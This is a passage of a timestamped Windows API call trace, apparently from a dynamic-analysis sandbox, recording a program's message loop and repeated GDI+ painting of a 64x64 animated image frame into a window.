(hMem=0x1e7b48a0) returned 0x0 [0147.993] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0147.993] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.993] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.993] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.994] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.994] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0147.994] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0147.994] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0147.994] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0147.994] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.994] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0147.994] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0147.994] GetCurrentObject (hdc=0x20010b88, type=0x1) returned 0x1b00017 [0147.994] GetCurrentObject (hdc=0x20010b88, type=0x2) returned 0x1900010 [0147.994] GetCurrentObject (hdc=0x20010b88, type=0x7) returned 0x1a05067e [0147.994] GetCurrentObject (hdc=0x20010b88, type=0x6) returned 0x18a002e [0147.995] SaveDC (hdc=0x20010b88) returned 1 [0147.995] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe80407c3 [0147.995] GetClipRgn (hdc=0x20010b88, hrgn=0xffffffffe80407c3) returned 0 [0147.995] SelectClipRgn (hdc=0x20010b88, hrgn=0xffffffffb8040b8a) returned 2 [0147.995] DeleteObject (ho=0xffffffffe80407c3) returned 1 [0147.995] DeleteObject (ho=0xffffffffb8040b8a) returned 1 [0147.995] OffsetViewportOrgEx (in: hdc=0x20010b88, x=0, y=0, lppt=0x26eea48 | out: lppt=0x26eea48) returned 1 [0147.995] GetNearestColor (hdc=0x20010b88, color=0xffffff) returned 0xffffff [0147.995] CreateSolidBrush (color=0xffffff) returned 0xffffffffc0100190 [0147.995] FillRect (hDC=0x20010b88, lprc=0x15d7c0, hbr=0xffffffffc0100190) returned 1 [0147.995] DeleteObject (ho=0xffffffffc0100190) returned 1 [0147.996] RestoreDC (hdc=0x20010b88, nSavedDC=-1) returned 1 [0147.996] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.996] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x20010b88) returned 0x0 [0147.996] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc660dbd) returned 0x0 [0147.996] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.996] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0147.996] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.996] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.996] GetSystemMetrics (nIndex=42) returned 0 [0147.996] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.996] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.996] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.996] CoTaskMemFree (pv=0x1e91eca0) [0147.996] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0147.997] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0147.997] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0147.997] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0147.997] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x20010b88, x1=0, y1=0, rop=0xcc0020) returned 1 [0147.997] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.997] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x20010b88) returned 0x0 [0147.997] SelectObject (hdc=0x20010b88, h=0x185000f) returned 0x1a05067e [0147.997] DeleteDC (hdc=0x20010b88) returned 1 [0147.997] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.997] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0147.998] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0147.998] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0147.998] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.998] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.998] WaitMessage () returned 1 [0148.149] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.149] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.149] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.149] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.149] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.153] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0148.153] GetCurrentThreadId () returned 0xec0 [0148.155] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0148.157] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.157] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.157] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.157] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.157] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.157] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0148.158] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0148.158] CreateCompatibleDC (hdc=0x3010b83) returned 0x7f0107cb [0148.158] SelectObject (hdc=0x7f0107cb, h=0x1a05067e) returned 0x185000f [0148.158] GdipCreateFromHDC (hdc=0x7f0107cb, graphics=0x15daf0) returned 0x0 [0148.158] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0148.159] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0148.159] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0148.159] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0148.159] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0148.159] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.159] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0148.159] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.159] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.160] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0148.160] GdipCreateRegion (region=0x15dc20) returned 0x0 [0148.160] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0148.160] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0148.160] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0148.160] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.160] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.160] GetSystemMetrics (nIndex=42) returned 0 [0148.160] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.160] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.160] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.160] CoTaskMemFree (pv=0x1e91eca0) [0148.160] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0148.160] GdipCreateRegion (region=0x15d710) returned 0x0 [0148.160] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0148.160] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0148.161] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0148.161] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0148.161] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.161] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.161] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.161] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0148.161] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.161] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.162] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.162] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.162] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0148.162] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0148.162] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0148.162] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0148.162] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.162] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0148.162] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0148.162] GetCurrentObject (hdc=0x7f0107cb, type=0x1) returned 0x1b00017 [0148.162] GetCurrentObject (hdc=0x7f0107cb, type=0x2) returned 0x1900010 [0148.163] GetCurrentObject (hdc=0x7f0107cb, type=0x7) returned 0x1a05067e [0148.163] GetCurrentObject (hdc=0x7f0107cb, type=0x6) returned 0x18a002e [0148.163] SaveDC (hdc=0x7f0107cb) returned 1 [0148.163] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb9040b8a [0148.163] GetClipRgn (hdc=0x7f0107cb, hrgn=0xffffffffb9040b8a) returned 0 [0148.163] SelectClipRgn (hdc=0x7f0107cb, hrgn=0xffffffffe90407c3) returned 2 [0148.163] DeleteObject (ho=0xffffffffb9040b8a) returned 1 [0148.163] DeleteObject (ho=0xffffffffe90407c3) returned 1 [0148.163] OffsetViewportOrgEx (in: hdc=0x7f0107cb, x=0, y=0, lppt=0x26ef380 | out: lppt=0x26ef380) returned 1 [0148.163] GetNearestColor (hdc=0x7f0107cb, color=0xffffff) returned 0xffffff [0148.163] CreateSolidBrush (color=0xffffff) returned 0xffffffffc1100190 [0148.163] FillRect (hDC=0x7f0107cb, lprc=0x15d7c0, hbr=0xffffffffc1100190) returned 1 [0148.163] DeleteObject (ho=0xffffffffc1100190) returned 1 [0148.164] RestoreDC (hdc=0x7f0107cb, nSavedDC=-1) returned 1 [0148.164] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.164] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x7f0107cb) returned 0x0 [0148.164] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc640dbd) returned 0x0 [0148.164] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.164] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0148.164] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.164] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.164] GetSystemMetrics (nIndex=42) returned 0 [0148.164] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.164] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.164] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.164] CoTaskMemFree (pv=0x1e91eca0) [0148.164] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0148.167] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0148.167] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0148.167] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0148.167] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0148.168] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x7f0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0148.168] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.168] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x7f0107cb) returned 0x0 [0148.168] SelectObject (hdc=0x7f0107cb, h=0x185000f) returned 0x1a05067e [0148.168] DeleteDC (hdc=0x7f0107cb) returned 1 [0148.168] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.168] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0148.169] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0148.169] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0148.169] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.169] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.169] WaitMessage () returned 1 [0148.345] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.345] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.345] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.345] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.345] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.346] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0148.346] GetCurrentThreadId () returned 0xec0 [0148.346] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0148.346] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.346] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.346] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.346] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.346] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.346] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0148.346] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0148.346] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff800107cb [0148.347] SelectObject (hdc=0xffffffff800107cb, h=0x1a05067e) returned 0x185000f [0148.347] GdipCreateFromHDC (hdc=0xffffffff800107cb, graphics=0x15daf0) returned 0x0 [0148.347] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0148.347] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0148.347] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0148.347] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0148.347] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0148.347] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.347] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0148.348] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.348] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.348] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0148.348] GdipCreateRegion (region=0x15dc20) returned 0x0 [0148.348] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0148.348] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0148.348] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0148.348] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.349] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.349] GetSystemMetrics (nIndex=42) returned 0 [0148.349] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.349] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.349] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.349] CoTaskMemFree (pv=0x1e91eca0) [0148.349] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0148.349] GdipCreateRegion (region=0x15d710) returned 0x0 [0148.349] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0148.349] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0148.349] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0148.349] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0148.349] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.349] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.350] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.350] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0148.350] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.350] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.350] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.350] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.350] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0148.350] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0148.350] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0148.350] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0148.350] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.351] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0148.351] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0148.351] GetCurrentObject (hdc=0xffffffff800107cb, type=0x1) returned 0x1b00017 [0148.351] GetCurrentObject (hdc=0xffffffff800107cb, type=0x2) returned 0x1900010 [0148.351] GetCurrentObject (hdc=0xffffffff800107cb, type=0x7) returned 0x1a05067e [0148.351] GetCurrentObject (hdc=0xffffffff800107cb, type=0x6) returned 0x18a002e [0148.351] SaveDC (hdc=0xffffffff800107cb) returned 1 [0148.351] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffea0407c3 [0148.351] GetClipRgn (hdc=0xffffffff800107cb, hrgn=0xffffffffea0407c3) returned 0 [0148.351] SelectClipRgn (hdc=0xffffffff800107cb, hrgn=0xffffffffba040b8a) returned 2 [0148.351] DeleteObject (ho=0xffffffffea0407c3) returned 1 [0148.351] DeleteObject (ho=0xffffffffba040b8a) returned 1 [0148.351] OffsetViewportOrgEx (in: hdc=0xffffffff800107cb, x=0, y=0, lppt=0x26f0668 | out: lppt=0x26f0668) returned 1 [0148.352] GetNearestColor (hdc=0xffffffff800107cb, color=0xffffff) returned 0xffffff [0148.352] CreateSolidBrush (color=0xffffff) returned 0xffffffffc2100190 [0148.352] FillRect (hDC=0xffffffff800107cb, lprc=0x15d7c0, hbr=0xffffffffc2100190) returned 1 [0148.352] DeleteObject (ho=0xffffffffc2100190) returned 1 [0148.352] RestoreDC (hdc=0xffffffff800107cb, nSavedDC=-1) returned 1 [0148.352] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.352] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff800107cb) returned 0x0 [0148.352] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc620dbd) returned 0x0 [0148.352] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.352] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0148.352] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.352] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.352] GetSystemMetrics (nIndex=42) returned 0 [0148.352] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.352] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.353] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.353] CoTaskMemFree (pv=0x1e91eca0) [0148.353] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0148.353] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0148.353] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0148.353] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0148.353] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff800107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0148.353] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.353] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff800107cb) returned 0x0 [0148.353] SelectObject (hdc=0xffffffff800107cb, h=0x185000f) returned 0x1a05067e [0148.354] DeleteDC (hdc=0xffffffff800107cb) returned 1 [0148.354] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.354] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0148.354] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0148.354] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0148.354] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.354] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.354] WaitMessage () returned 1 [0148.532] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.532] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.532] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.532] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.532] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.532] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0148.532] GetCurrentThreadId () returned 0xec0 [0148.532] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0148.532] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.532] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.532] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.532] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.532] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.532] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0148.533] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0148.533] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff810107cb [0148.533] SelectObject (hdc=0xffffffff810107cb, h=0x1a05067e) returned 0x185000f [0148.533] GdipCreateFromHDC (hdc=0xffffffff810107cb, graphics=0x15daf0) returned 0x0 [0148.533] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0148.533] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0148.533] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0148.533] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0148.533] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0148.533] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.533] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0148.534] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.534] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.534] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0148.534] GdipCreateRegion (region=0x15dc20) returned 0x0 [0148.534] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0148.534] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0148.535] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0148.535] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.535] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.535] GetSystemMetrics (nIndex=42) returned 0 [0148.535] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.535] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.535] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.535] CoTaskMemFree (pv=0x1e91eca0) [0148.535] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0148.535] GdipCreateRegion (region=0x15d710) returned 0x0 [0148.535] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0148.535] GdipCreateMatrix (matrix=0x15d710) returned 0x0 